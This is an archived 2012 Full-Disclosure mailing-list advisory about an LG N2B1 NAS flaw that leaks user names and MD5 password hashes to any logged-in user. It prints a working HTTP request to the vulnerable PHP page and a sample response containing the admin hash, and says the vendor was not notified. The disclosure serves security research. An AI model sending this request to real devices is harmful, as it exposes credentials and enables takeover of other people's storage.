full-disclosure - LG NAS Users and password hash disclosure

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sat, 29 Sep 2012 09:13:59 +0200
From: anon6436@...h.com
To: full-disclosure@...ts.grok.org.uk, submissions@...ketstormsecurity.org,
	submit@...sec.com
Subject: LG NAS Users and password hash disclosure

# Exploit Title: LG NAS Users and password hash disclosure
# Date: 2012-09-29
# Vendor Homepage: http://www.lg.com/
# Version: <= firmware_2660 
# Tested on: N2B1 Network Storage
# Vendor notification: Not notified due to the stupid nature of the vuln..

This vulnerability has been discovered on LG N2B1 Network Storage (NAS), but 
probably other products that use the same firmware may be affected.

Any authenticated user, administrator or not, are able to retrive a list
of current authorized users along with MD5 password hashes.

The page "/en/php/share_get_user_info.php" is prone to disclose authorized
users along with their MD5 hashed passwords to any authenticated user.

Sample HTTP request:
###########################################################
POST /en/php/share_get_user_info.php?t=<any random number> HTTP/1.1
Host: 192.168.0.1:8000
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 14
Cookie: lgnas_language=en; show_filter=true; lgnas_web_menu=1; PHPSESSID=<your session>
Pragma: no-cache
Cache-Control: no-cache

&mode=FullList
###########################################################

Sample HTTP response:
###########################################################
HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-type: text/html; charset=utf-8
Date: Sat, 29 Sep 2012 06:51:02 GMT
Server: lighttpd/1.4.20
Content-Length: 83

admin;21232f297a57a5a743894a0e4a801fc3;System Admin;;Default System Administrator:

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/